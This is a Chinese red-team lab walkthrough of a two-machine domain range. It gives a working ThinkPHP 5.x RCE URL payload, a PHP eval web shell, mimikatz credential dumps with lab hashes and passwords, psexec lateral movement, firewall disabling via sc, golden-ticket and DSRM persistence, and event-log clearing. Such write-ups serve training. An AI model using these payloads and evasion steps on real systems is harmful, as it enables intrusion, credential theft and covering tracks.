ATT&CK红队评估(五)
目标 主机 :192.168.145.150
WEB
对其进行信息搜集 (目录扫描,端口扫描,服务发现 ,漏扫,等等)
nmap -sV -T4 -sC -p 1-65525 192.168.145.150
开放服务少,80 端口 ,3306 数据库
放在了低版本的PHP 上面
ThinkPHP 5.x 远程命令执行
影响范围 :5.x < 5.1.31, <= 5.0.23
先去访问80端口,看看是搭建 了什么服务
噢噢 原来是TP5 啊 ,众所周知是存在代码执行漏洞的。
直接使用 POC
使用SYSTEM 执行命令看是否成功执行
/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
ok,执行了系统命令whoami,接下来写shell啦/
POC
/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22cmd%22])?^%3E%3Eshell.php
把GET换成POST ,用蚁剑连接
意外的后门
发现一个add.php
这个 感觉像是遗留的后门啊
暴力破解一下这个后门 密码
密码爆破出来了
密码 : admins
一个大马把算是 功能也挺多的
上线MSF
两张网卡 :
外: 192.168.145.150
内: 192.168.183.136
域: sun.com
ping sun.com 获取主域的IP地址
主域IP地址: 192.168.183.138
内网
信息搜集
添加路由
既然发现了主域 ,看看域内是否还存在其他机器
使用smb扫描 一开始g了 卡了不动,还以为不行,结果是session 掉线了
换成了arp_scanner
[+] IP: 192.168.183.6 MAC 00:0c:29:43:ea:95 (VMware, Inc.)
[+] IP: 192.168.183.138 MAC 00:0c:29:c3:41:e8 (VMware, Inc.)
这两个IP地址,搭建代理使用namp 进行扫描一下服务信息
这里使用vemom搭建代理
proxychains4 nmap -Pn -sT -sV 192.168.183.6 192.168.183.138 -F
进行扫描的时候先简单搜集一下本机信息
本机权限是administrator 试一下getsystem
成功到system权限
查看共享 和 查看域管理员的名字
查看开启的服务
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
whoami # 查看当前用户
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net config workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "domain controllers" /domain # 查看域控制器(可能有多台)
查看扫描结果
192.168.183.6 是一台 Linux 但是只开放了22 端口 ,(我也不知道这台机子哪里来的,可能是某个分出的网卡,先放一边)
域控是一台2008 的主机
欧克 ,
先使用mimikatz 抓取密码
使用kiwi 工具抓取密码(比较方便,懒得上传)
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
报错
因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移进去就行了:
进程迁移
迁移到300 看看
好像不行换一个
额 犯错了 我把他换成了一个低权限的了
现在想迁移到其他经常都是没有权限的,getsystem也不管用了 重新获取shell ,看看
ok 重新获取了shell get到system权限
现在切换到2464 这个pid
成功获取到了域管理员密码
域控密码
SID : S-1-5-21-3388020223-1982701712-4030140183-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : SUN
* LM : c8c42d085b5e3da2e9260223765451f1
* NTLM : e8bea972b3549868cecd667a64a6ac46
* SHA1 : 3688af445e35efd8a4d4e0a9eb90b754a2f3a4ee
tspkg :
* Username : Administrator
* Domain : SUN
* Password : dc123.com
wdigest :
* Username : Administrator
* Domain : SUN
* Password : dc123.com
kerberos :
* Username : Administrator
* Domain : SUN.COM
* Password : dc123.com
ssp :
接一下可以使用psexec 进行横向获取域控权限了
Psexec 横向
use exploit/windows/smb/psexec
set rhosts 192.168.183.138
set SMBDomain SUN
set SMBUser administrator
set SMBPass dc123.com
set payload windows/meterpreter/bind_tcp
set rhost 192.168.138.138
run
连接到服务器 ,但是无法创建套接字 ,会话
(可能是域控开启了防火墙的原因)
使用 sc 命令来关闭防火墙
SC命令详细 :https://blog.51cto.com/hukunlin/235229
与域控建立 IPC连接
使用IPC 进行连接的时候先查看一下share (net share)
如果这里使用小写的ipc$ 是行不通的,会显示没有这个文件
就像这样 。。。。
ok,接下来使用sc 命令关闭防火墙
创建服务
sc \\192.168.183.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
立即启动服务
sc \\192.168.183.138 start unablefirewall
再次使用psexec
结果这里还是不行
为啥啊 啊啊
CS 使用Psexec 拿下域控
使用CS
直接使用psexec 横向
获取到权限
我也不知道为啥这里的msf 就不能成功建立连接呢 奇奇怪怪 ???///
权限维持
黄金票据
金票和银票的区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
在DC上使用mimikatz 抓取 黄金票据所需要的信息
1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名 (获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
3、域的KRBTGT账号的HASH 这个可以使用hashdump
制作票据的内容都准备好了 ,先测试没有票据是否能 获取到DC c盘的内容
显然是拒绝访问的
现在再验证是否可以
成功获取到DC C盘的内容了 (这里要用administrator 这个用户或者权限才可以,我一开始是system权限是获取不到了 。说的可能不太对 ,但也就那意思)
DSRM 后门
DSRM是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账号(也就是DSRM账号)。DSRM的用途是:允许管理员在域环境出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行 ntdsutil 命令。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。我们知道,每个DC都有本地管理员(administrator)账号和密码(与域管理员账号密码不同)。DSRM账号可以作为每个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
注意:该类持久化操作适用的服务器版本:Windows Server 2008及以后版本的Windows服务器。
在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。
主要了解了下这个后门
这个后门可以参考 :
https://mp.weixin.qq.com/s/RViKCbpYqBYYDofpHLTCKA
https://www.freebuf.com/articles/web/252963.html
Metasploit 清理
run event_manager -i #查看事件日志
run event_manager -c #清除事件日志(包括六种日志类型)
参考 :
票据 :
https://www.adminxe.com/3643.html
https://shu1l.github.io/2020/06/06/qian-xi-huang-jin-piao-ju-yu-bai-yin-piao-ju/
Metasploit PSExec执行报错大全
http://www.hackdig.com/11/hack-195928.htm
权限维持:
https://www.freebuf.com/articles/web/252963.html
sc命令:
https://blog.51cto.com/hukunlin/235229
完结 🥳
这个靶机 ,不算难,就两台靶机 ,但是我看了其他师傅的wp ,发现没有人找出这个add.php 的后门
可能是直接利用TP5 漏洞 ,就不管了 ,(该做的信息搜集还得做啊😜 ),后面的那个DSRM后门,没有进行复现,我会再去看看 权限维持这个点 。😉